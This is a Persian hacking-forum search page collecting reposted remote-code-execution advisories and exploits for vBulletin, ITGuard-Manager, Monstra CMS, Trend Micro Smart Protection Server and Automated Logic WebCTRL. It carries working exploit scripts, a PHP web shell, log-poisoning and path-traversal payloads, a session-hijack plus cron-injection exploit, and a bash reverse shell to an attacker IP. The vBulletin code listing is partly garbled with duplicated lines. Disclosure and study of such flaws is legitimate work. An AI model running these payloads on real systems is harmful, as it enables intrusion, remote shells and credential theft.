رفتن به مطلب

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'execution'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • AnonySec
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پروژه های شرکت
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

97 نتیجه پیدا شد

  1. # SSD Advisory – vBulletin routestring Unauthenticated Remote Code Execution Source: https://blogs.securiteam.com/index.php/archives/3569 ## Vulnerability Summary The following advisory describes a unauthenticated file inclusion vulnerability that leads to remote code execution found in vBulletin version 5. vBulletin, also known as vB, is a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities. ## Vulnerability details vBulletin contains a vulnerability that can allow a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code. An unauthenticated user is able to send a GET request to /index.php which can then trigger the file inclusion vulnerability with parameter routestring=. The request allows an attacker to create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server. **Listing of /index.php:** ``` /* 48 */ $app = vB5_Frontend_Application::init('config.php'); /* 49 */ //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini /* 50 */ //file to catch these situations. /* 51 */ // We report all errors here because we have to make Application Notice free /* 52 */ error_reporting(E_ALL | E_STRICT); /* 53 */ /* 54 */ $config = vB5_Config::instance(); /* 55 */ if (!$config->report_all_php_errors) { /* 56 */ // Note that E_STRICT became part of E_ALL in PHP 5.4 /* 57 */ error_reporting(E_ALL & ~(E_NOTICE | E_STRICT)); /* 58 */ } /* 59 */ /* 60 */ $routing = $app->getRouter(); /* 61 */ $method = $routing->getAction(); /* 62 */ $template = $routing->getTemplate(); /* 63 */ $class = $routing->getControllerClass(); /* 64 */ /* 65 */ if (!class_exists($class)) /* 66 */ { /* 67 */ // @todo - this needs a proper error message /* 68 */ die("Couldn't find controller file for $class"); /* 69 */ } /* 70 */ /* 71 */ vB5_Frontend_ExplainQueries::initialize(); /* 72 */ $c = new $class($template); /* 73 */ /* 74 */ call_user_func_array(array(&$c, $method), $routing->getArguments()); /* 75 */ /* 76 */ vB5_Frontend_ExplainQueries::finish(); ``` **Let’s take a closer look on vB5_Frontend_Application::init() – Listing of /includes/vb5/frontend/application.php:** ``` /* 15 */ public static function init($configFile) /* 16 */ { /* 17 */ parent::init($configFile); /* 18 */ /* 19 */ self::$instance = new vB5_Frontend_Application(); /* 20 */ self::$instance->router = new vB5_Frontend_Routing(); /* 21 */ self::$instance->router->setRoutes(); /* ... */ ``` We can see that setRoutes() is called: **Listing of /includes/vb5/frontend/routing.php:** ``` /* 47 */ public function setRoutes() /* 48 */ { /* 49 */ $this->processQueryString(); /* 50 */ /* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it /* 52 */ //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : ''; /* 53 */ /* 54 */ if (isset($_GET['routestring'])) /* 55 */ { /* 56 */ $path = $_GET['routestring']; /* ... */ /* 73 */ } /* 74 */ /* 75 */ if (strlen($path) AND $path{0} == '/') /* 76 */ { /* 77 */ $path = substr($path, 1); /* 78 */ } /* 79 */ /* 80 */ //If there is an invalid image, js, or css request we wind up here. We can't process any of them /* 81 */ if (strlen($path) > 2 ) /* 82 */ { /* 83 */ $ext = strtolower(substr($path, -4)) ; /* 84 */ if (($ext == /* 47 */ public function setRoutes() /* 48 */ { /* 49 */ $this->processQueryString(); /* 50 */ /* 51 */ //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it /* 52 */ //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : ''; /* 53 */ /* 54 */ if (isset($_GET['routestring'])) /* 55 */ { /* 56 */ $path = $_GET['routestring']; /* ... */ /* 73 */ } /* 74 */ /* 75 */ if (strlen($path) AND $path{0} == '/') /* 76 */ { /* 77 */ $path = substr($path, 1); /* 78 */ } /* 79 */ /* 80 */ //If there is an invalid image, js, or css request we wind up here. We can't process any of them /* 81 */ if (strlen($path) > 2 ) /* 82 */ { /* 83 */ $ext = strtolower(substr($path, -4)) ; /* 84 */ if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css') /* 85 */ OR (strtolower(substr($path, -3)) == '.js') ) /* 86 */ { /* 87 */ header("HTTP/1.0 404 Not Found"); /* 88 */ die(''); /* 89 */ } /* 90 */ } /* 91 */ /* 92 */ try /* 93 */ { /* 94 */ $message = ''; // Start with no error. /* 95 */ $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING'])); /* 96 */ } /* 97 */ catch (Exception $e) /* 98 */ { /* ... */ /* 106 */ } /* ... */ /* 127 */ if (!empty($route)) /* 128 */ { /* ... */ /* 188 */ } /* 189 */ else /* 190 */ { /* 191 */ // if no route was matched, try to parse route as /controller/method /* 192 */ $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/')); /* ... */ /* 229 */ } /* 230 */ /* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle /* 232 */ //cases where this is not a valid file. Only handle files in the "root directory". We'll /* 233 */ //handle deeper paths via more standard routes. /* 234 */ if (strpos($path, '/') === false) /* 235 */ { /* 236 */ $this->controller = 'relay'; /* 237 */ $this->action = 'legacy'; /* 238 */ $this->template = ''; /* 239 */ $this->arguments = array($path); /* 240 */ $this->queryParameters = array(); /* 241 */ return; /* 242 */ } /* 243 */ /* 244 */ vB5_ApplicationAbstract::checkState(); /* 245 */ /* 246 */ throw new vB5_Exception_404("invalid_page_url"); /* 247 */ } ) ) /* 86 */ { /* 87 */ header("HTTP/1.0 404 Not Found"); /* 88 */ die(''); /* 89 */ } /* 90 */ } /* 92 */ try /* 93 */ { /* 94 */ $message = ''; // Start with no error. /* 95 */ $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING'])); /* 96 */ } /* 97 */ catch (Exception $e) /* 98 */ { /* ... */ /* 106 */ } /* ... */ /* 127 */ if (!empty($route)) /* 128 */ { /* ... */ /* 188 */ } /* 189 */ else /* 190 */ { /* 191 */ // if no route was matched, try to parse route as /controller/method /* 192 */ $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/')); /* ... */ /* 229 */ } /* 230 */ /* 231 */ //this could be a legacy file that we need to proxy. The relay controller will handle /* 232 */ //cases where this is not a valid file. Only handle files in the "root directory". We'll /* 233 */ //handle deeper paths via more standard routes. /* 234 */ if (strpos($path, '/') === false) /* 235 */ { /* 236 */ $this->controller = 'relay'; /* 237 */ $this->action = 'legacy'; /* 238 */ $this->template = ''; /* 239 */ $this->arguments = array($path); /* 240 */ $this->queryParameters = array(); /* 241 */ return; /* 242 */ } /* … */ ``` So if our routestring does not end with ‘.gif’, ‘.png’, ‘.jpg’, ‘.css’ or ‘.js’ and does not contain ‘/’ char vBulletin will call legacy() method from vB5_Frontend_Controller_Relay – /includes/vb5/frontend/controller/relay.php: ``` /* 63 */ public function legacy($file) /* 64 */ { /* 65 */ $api = Api_InterfaceAbstract::instance(); /* 66 */ $api->relay($file); /* 67 */ } ``` If we will check relay() from Api_Interface_Collapsed class – /include/api/interface/collapsed.php: ``` /* 117 */ public function relay($file) /* 118 */ { /* 119 */ $filePath = vB5_Config::instance()->core_path . '/' . $file; /* 120 */ /* 121 */ if ($file AND file_exists($filePath)) /* 122 */ { /* 123 */ //hack because the admincp/modcp files won't return so the remaining processing in /* 124 */ //index.php won't take place. If we better integrate the admincp into the /* 125 */ //frontend, we can (and should) remove this. /* 126 */ vB_Shutdown::instance()->add(array('vB5_Frontend_ExplainQueries', 'finish')); /* 127 */ require_once($filePath); /* 128 */ } /* ... */ ``` As we could see an attacker is not able to use ‘/’ in the $file so he cannot change current directory on Linux. But for Windows he can use ‘\’ as path delimiter and is able to specify any desired file (he can use ‘\..\’ trick as well) and it will be included by php. ![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-125x300.jpg) If we want to include file with extension like ‘.gif’, ‘.png’, ‘.jpg’, ‘.css’ or ‘.js’ we will need to bypass the mentioned check in setRoutes() method. This can be easily done by adding dot (‘.’) or space (‘%20’) to the filename. ## Proof of Concept We can check if the server is vulnerable by sending the following GET request: ``` /index.php?routestring=.\\ ``` If the response is: ![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-1-300x60.png) The server is vulnerable. If we want to inject a php code to any file on the server we can use the access.log for example: ``` /?LogINJ_START=<?php phpinfo();?>LogINJ_END ``` After that we can include access.log with our PHP code: ``` /index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log ``` ![](https://blogs.securiteam.com/wp-content/uploads/2017/12/vBulletin-2-300x89.jpg)
  2. Hacking

    # Vulnerability Title: ITGuard-Manager V0.0.0.1 PreAuth Remote Code Execution # Author: Nassim Asrir # Contact: [email protected] / @asrir_nassim # CVE: Waiting ... # CVSS: CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P # Vendor: http://www.innotube.com Details: ======== First we need to know what happens when we need to LogIn. When the User or Attacker insert any strings in the login form he/she will get this POST request: POST /cgi-bin/drknow.cgi?req=login HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://server/log-in.html?lang=KOR Content-Type: application/x-www-form-urlencoded Content-Length: 45 Connection: close Upgrade-Insecure-Requests: 1 req=login&lang=KOR&username=admin&password=admin Ok now we have this POST request and all we care about is the ‘username’ parameter . and we can execute our system commands via this parameter due to missing input sanitization. The payload will be: 'admin|'command'||x we will change the command by any *unix command (ls – id – mkdir ….) Exploit: ======= #i am not responsible for any wrong use. import requests target = raw_input('Target(With proto) : ') command = raw_input('Command To Execute : ') fullpath=target +"/cgi-bin/drknow.cgi?req=login" data = {'req':'login', 'lang':'ENG', 'username':'admin|'+command+'||x', 'password':'admin'} execute = requests.post(fullpath, data = data) print execute.text
  3. Exploit Title: Monstra CMS - 3.0.4 RCE Vendor Homepage: http://monstra.org/ Software Link: https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip Discovered by: Ishaq Mohammed Contact: https://twitter.com/security_prince Website: https://about.me/security-prince Category: webapps Platform: PHP Advisory Link: https://blogs.securiteam.com/index.php/archives/3559 Description: MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a remote command execution on the remote server. Vulnerable Code: https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php line 19: public static function main() { // Array of forbidden types $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht', 'php', 'phtml', 'php3', 'php4', 'php5', 'phps', 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd', 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty'); Proof of Concept Steps to Reproduce: 1. Login with a valid credentials of an Editor 2. Select Files option from the Drop-down menu of Content 3. Upload a file with PHP (uppercase)extension containing the below code: <?php $cmd=$_GET['cmd']; system($cmd); ?> 4. Click on Upload 5. Once the file is uploaded Click on the uploaded file and add ?cmd= to the URL followed by a system command such as whoami,time,date etc. Recommended Patch: We were not able to get the vendor to respond in any way, the software appears to have been left abandoned without support – though this is not an official status on their site (last official patch was released on 2012-11-29), the GitHub appears a bit more active (last commit from 2 years ago). The patch that addresses this bug is available here: https://github.com/monstra-cms/monstra/issues/426
  4. # Trend Micro Smart Protection Server Multiple Vulnerabilities ## 1. Advisory Information **Title:**: Trend Micro Smart Protection Server Multiple Vulnerabilities **Advisory ID:** CORE-2017-0008 **Advisory URL:** http://www.coresecurity.com/advisories/trend-micro-smart-protection-server-multiple-vulnerabilities **Date published:** 2017-12-19 **Date of last update:** 2017-12-11 **Vendors contacted:** Trend Micro **Release mode:** Coordinated release ## 2. Vulnerability Information **Class:** Information Exposure Through Log Files [[CWE-532](http://cwe.mitre.org/data/definitions/532.html)], Improper Neutralization of Special Elements used in an OS Command [[CWE-78](http://cwe.mitre.org/data/definitions/78.html)], Improper Control of Filename for Include/Require Statement in PHP Program [[CWE-98](http://cwe.mitre.org/data/definitions/98.html)], Improper Neutralization of Input During Web Page Generation [[CWE-79](http://cwe.mitre.org/data/definitions/79.html)], Improper Authorization [[CWE-285](http://cwe.mitre.org/data/definitions/285.html)] **Impact:** Code execution **Remotely Exploitable:** Yes **Locally Exploitable:** Yes **CVE Name:** [CVE-2017-11398](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-11398), [CVE-2017-14094](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14094), [CVE-2017-14095](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14095), [CVE-2017-14096](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14096), [CVE-2017-14097](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14097) ## 3. Vulnerability Description Trend Micro's website states that: Trend Micro Smart Protection Server [(http://cwe.mitre.org/data/definitions/532.html)(https://www.coresecurity.com#SPS)] is a next-generation, in-the-cloud based, advanced protection solution. At the core of this solution is an advanced scanning architecture that leverages malware prevention signatures that are stored in-the-cloud. This solution leverages file reputation and Web reputation technology to detect security risks. The technology works by off loading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server. Multiple vulnerabilities were found in the Smart Protection Server's Administration UI that would allow a remote unauthenticated attacker to execute arbitrary commands on the system. ## 4. Vulnerable Packages * Trend Micro Smart Protection Server 3.2 (Build 1085) Other products and versions might be affected, but they were not tested. ## 5. Vendor Information, Solutions and Workarounds Trend Micro published the following patches: * TMSPS3.0 - Critical Patch B1354 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4556®s=NABU&lang_loc=1#fragment-4628)) * TMSPS3.1 - Critical Patch B1057 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4974®s=NABU&lang_loc=1#fragment-5030)) ## 6. Credits These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. ## 7. Technical Description / Proof of Concept Code In section 7.1 we describe how an unauthenticated attacker could get a session token to perform authenticated requests against the application. Sections 7.2 and 7.3 describe two vectors to achieve remote command execution in the context of the Web application. Several public privilege escalation vulnerabilities exist that are still unpatched. In combination with the aforementioned vulnerabilities a remote unauthenticated attacker would be able to execute arbitrary system commands with root privileges. Sections 7.4 and 7.5 cover other common Web application vulnerabilities found in the product's console. ### 7.1 Session hijacking via log file disclosure [[CVE-2017-11398](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-11398)] The application stores diagnostic logs in the /widget/repository/log/diagnostic.log file. Performing a login or some basic browsing will write several entries with the following format: ``` 2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null, Notice: Undefined index: param in /var/www/AdminUI/widget/inc/class/common/db/GenericDao.php on line 218 ``` Each log entry leaks the associated session ID next to the log alert level and can be accessed via HTTP without authenticating to the Web application. Therefore, an unauthenticated attacker can grab this file and hijack active user sessions to perform authenticated requests. ### 7.2 Remote command execution via cron job injection [[CVE-2017-14094](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14094)] The script admin_update_program.php is responsible for creating a cron job when software updates are scheduled. The HTTP request contains several parameters that are used without sanitization as part of the cron job created at /var/spool/cron/webserv. We will target the hidTimingMin parameter. File /var/www/AdminUI/php/admin_update_program.php: ``` if ($_SERVER['REQUEST_METHOD'] == 'POST'){ [...] $arr_au['Program']['AUScheduleTimingMin']= isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0"; [...] if ( $arr_au['Program']['UseAUSchedule'] == "1"){ if ( $arr_au['Program']['AUScheduleType'] == "0" ){ $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*"); }else { $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", $arr_au['Program']['AUScheduleTimingDay']); } $crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program --Schedule > /dev/null 2>&1"); $crontab->saveCronFile(); } if(! $crontab->addToCrontab()){ header( 'Location: admin_update_program.php?status=savecrontaberror&sid='.$session_name ) ; exit; } ``` File /var/www/AdminUI/php/inc/crontab.php: ``` function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL, $dayofweek=NULL){ if($min=="0") $this->minute=0; elseif($min) $this->minute=$min; else $this->minute="*"; if($hour=="0") $this->hour=0; elseif($hour) $this->hour=$hour; else $this->hour="*"; $this->month=($month) ? $month : "*"; $this->day=($day) ? $day : "*"; $this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*"; } function saveCronFile(){ $command=$this->minute." ".$this->hour." ".$this->day." ".$this->month." ".$this->dayofweek." ".$this->command."n"; if(!fwrite($this->handle, $command)) return true; else return false; } function addToCrontab(){ if(!$this->filename) exit('No name specified for cron file'); $data=array(); exec("crontab ".escapeshellarg($this->directory.$this->filename),$data,$ret); if($ret==0) return true; else return false; } ``` The following python script creates a cron job that will run an arbitrary command on every minute. It also leverages the session hijacking vulnerability described in 7.1 to bypass the need of authentication. ``` #!/usr/bin/env python import requests import sys def exploit(host, port, command): session_id = get_session_id(host, port) print "[+] Obtained session id %s" % session_id execute_command(session_id, host, port, command) def get_session_id(host, port): url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host, port) r = requests.get(url, verify=False) for line in r.text.split('n')[::-1]: if "INFO" in line or "ERROR" in line: return line.split(',')(http://cwe.mitre.org/data/definitions/98.html) def execute_command(session_id, host, port, command): print "[+] Executing command '%s' on %s:%d" % (command, host, port) url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host, port, session_id) multipart_data = { "ComponentSchedule": "on", "ComponentScheduleOS": "on", "ComponentScheduleService": "on", "ComponentScheduleWidget": "on", "useAUSchedule": "on", "auschedule_setting": "1", "update_method": "1", "update_method3": "on", "userfile": "", "sid": session_id, "hidComponentScheduleOS": "1", "hidComponentScheduleService": "1", "hidComponentScheduleWidget": "1", "hidUseAUSchedule": "1", "hidScheduleType": "1", "hidTimingDay": "2", "hidTimingHour": "2", "hidTimingMin": "* * * * * %s #" % command, "hidUpdateOption": "1", "hidUpdateNowFlag": "" } r = requests.post(url, data=multipart_data, cookies={session_id: session_id}, verify=False) if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text: print "[+] Cron job added, enjoy!" else: print "[-] Session has probably timed out, try again later!" if __name__ == "__main__": exploit(sys.argv(http://cwe.mitre.org/data/definitions/532.html), int(sys.argv(http://cwe.mitre.org/data/definitions/78.html)), sys.argv(http://cwe.mitre.org/data/definitions/98.html)) ``` The following proof of concept opens a reverse shell to the attacker's machine. ``` $ python coso.py 192.168.45.186 4343 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' [+] Obtained session id q514un6ru6stcpf3k0n4putbd3 [+] Executing command 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' on 192.168.45.186:4343 [+] Cron job added, enjoy! $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.45.186] port 8888 [tcp/*] accepted (family 2, sport 59508) bash: no job control in this shell [[email protected] localhost ~]$ ``` ### 7.3 Remote command execution via local file inclusion [[CVE-2017-14095](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14095)] The /widget/inc/widget_package_manager.php script passes user provided input to the PHP require_once function without sanitization. However, there are some restrictions that need to be overcome in order to include arbitrary files, as the application appends PoolManager.php at the end of the filename. File /var/www/AdminUI/widget/inc/widget_package_manager.php: ``` switch($widgetRequest['act']){ case "check": try{ // $strUpdateType = widget, configure_widget_and_widget_component $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget'; $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update'; $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName(); [...] ``` File /var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php: ``` public function getWidgetPoolManager($strUpdateType = 'widget'){ if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){ $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType); require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); $strClassName = 'WF'.$strFileName.'PoolManager'; self::$instance[__FUNCTION__][$strUpdateType] = new $strClassName($this->objFramework); } return self::$instance[__FUNCTION__][$strUpdateType]; } ``` One way for an attacker to place an arbitrary file on the system is to abuse the update process that can be managed from the same product console. Files downloaded from alternate update sources are stored in the /var/tmcss/activeupdate directory. An attacker can setup a fake update server and trigger an update from it to download the malicious archive. As an example, we have packed a reverse shell named rshellPoolManager.php into the bf1747402402.zip archive. The following server.ini would instruct the application to download the archive and uncompress it inside /var/tmcss/activeupdate: ``` ; ======================================= ; ActiveUpdate 1.2 US ; ; Filename: Server.ini ; ; New Format AU 1.8 ; ; Last modified by AUJP1 10/14/2015 ; ======================================= [Common] Version=1.2 CertExpireDate=Jul 28 08:52:40 2019 GMT [Server] AvailableServer=1 Server.1=http://<serverIP>:1080/ AltServer=http://<serverIP>:1080/ Https=http://<serverIP>:1080/ [PATTERN] P.48040039=pattern/bf1747402402.zip,1747402402,257 ``` After triggering an update from the Web console, the PHP script is written to the expected location. ``` [[email protected] localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php -rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php ``` The final step is to include the script and execute our payload. ``` POST /widget/inc/widget_package_manager.php?sid=dj0efdmskngvt4lbhakgc6cru7 HTTP/1.1 Host: 192.168.45.186:4343 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: application/json Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Request: JSON X-CSRFToken: dj0efdmskngvt4lbhakgc6cru7 Content-Type: application/json; charset=utf-8 Content-Length: 122 Cookie: dj0efdmskngvt4lbhakgc6cru7=dj0efdmskngvt4lbhakgc6cru7 Connection: close {"act": "check", "update_type": "../../../../../../../../../var/tmcss/activeupdate/rshell"} ``` Steven Seeley and Roberto Suggi Liverani presented various privilege escalation vectors to move from webserv to root on their presentation "I Got 99 Trends and a # Is All Of Them". Based on our testing the attacks remain unpatched, so we did not try to find additional ways to escalate privileges. ### 7.4 Stored cross-site scripting [[CVE-2017-14096](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14096)] The ru parameter of the wcs_bwlists_handler.php script is vulnerable to cross-site scripting. This endpoint is used to manage user defined URLs. After the rule is inserted, the payload will be executed every time the user opens the user defined URLs section. The following proof of concept stores code to open an alert box. ``` https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn= ``` ### 7.5 Improper access control [[CVE-2017-14097](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14097)] The product console includes widgets that can be used to monitor other servers. Credentials to access the servers being monitored, widget logs and other information reside on a SQLite database which can be accessed without authentication at the following URL: ``` https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db ``` The credentials are stored using AES256 with a dynamic key. However, the key is also placed inside the Web server directories and available for download without authentication. ``` https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key ``` This would allow an attacker to decrypt the contents of the database, rendering the encryption mechanism useless. ## 8 Report Timeline * **2017-09-04: **Core Security sent an initial notification to Trend Micro, including a draft advisory. * **2017-10-02: **Core Security asked for an update on the vulnerability reported. * **2017-10-02: ** Trend Micro stated they are still in the process of creating the official fix for the vulnerabilities reported. ETA for the fix should be end of this month (October) * **2017-11-13: **Core Security requested a status on the timeline for fixing the reported vulnerabilities since the original ETA was not accomplished. * **2017-11-14: ** Trend Micro stated they are still working on the Critical Patch and found problems along the way. Patch is now in QA. * **2017-11-20: ** Trend Micro informed availability for the fixes addressing 5 out of the 6 vulnerabilities reported. They stated one of the reported vulnerabilities is on a table where the SQL query is allowed and 'does not cause anything leaking'. Still in the process of localizing the critical patches for other regions. Will let us know when everything is covered in order to set a disclosure date. * **2017-11-21: **Core Security thanked the update and agreed on removing one of the reported vulnerabilities. * **2017-12-05: ** Trend Micro provided the CVE-ID for all the vulnerabilities reported and proposed the public disclosure date to be December 14th. * **2017-12-06: **Core Security thanked the update and proposed public disclosure date to be Tuesday December 19th @ 12pm EST. * **2017-12-19: ** Advisory CORE-2017-0008 published. ## 9 References http://cwe.mitre.org/data/definitions/532.html ## 10 About CoreLabs CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: . ## 11 About Core Security Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [[email protected]](mailto:info%40coresecurity.com) ## 12 Disclaimer The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:
  5. #!/usr/bin/env python # -*- coding: utf8 -*- # # # Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution # # # Vendor: Automated Logic Corporation # Product web page: http://www.automatedlogic.com # Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior # ALC WebCTRL, SiteScan Web 6.1 and prior # ALC WebCTRL, i-Vu 6.0 and prior # ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior # ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior # # Summary: WebCTRL®, Automated Logic's web-based building automation # system, is known for its intuitive user interface and powerful integration # capabilities. It allows building operators to optimize and manage # all of their building systems - including HVAC, lighting, fire, elevators, # and security - all within a single HVAC controls platform. It's everything # they need to keep occupants comfortable, manage energy conservation measures, # identify key operational problems, and validate the results. # # Desc: WebCTRL suffers from an authenticated arbitrary code execution # vulnerability. The issue is caused due to the improper verification # when uploading Add-on (.addons or .war) files using the uploadwarfile # servlet. This can be exploited to execute arbitrary code by uploading # a malicious web archive file that will run automatically and can be # accessed from within the webroot directory. Additionaly, an improper # authorization access control occurs when using the 'anonymous' user. # By specification, the anonymous user should not have permissions or # authorization to upload or install add-ons. In this case, when using # the anonymous user, an attacker is still able to upload a malicious # file via insecure direct object reference and execute arbitrary code. # The anonymous user was removed from version 6.5 of WebCTRL. # # Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601) # Apache-Coyote/1.1 # Apache Tomcat/7.0.42 # CJServer/1.1 # Java/1.7.0_25-b17 # Java HotSpot Server VM 23.25-b01 # Ant 1.7.0 # Axis 1.4 # Trove 2.0.2 # Xalan Java 2.4.1 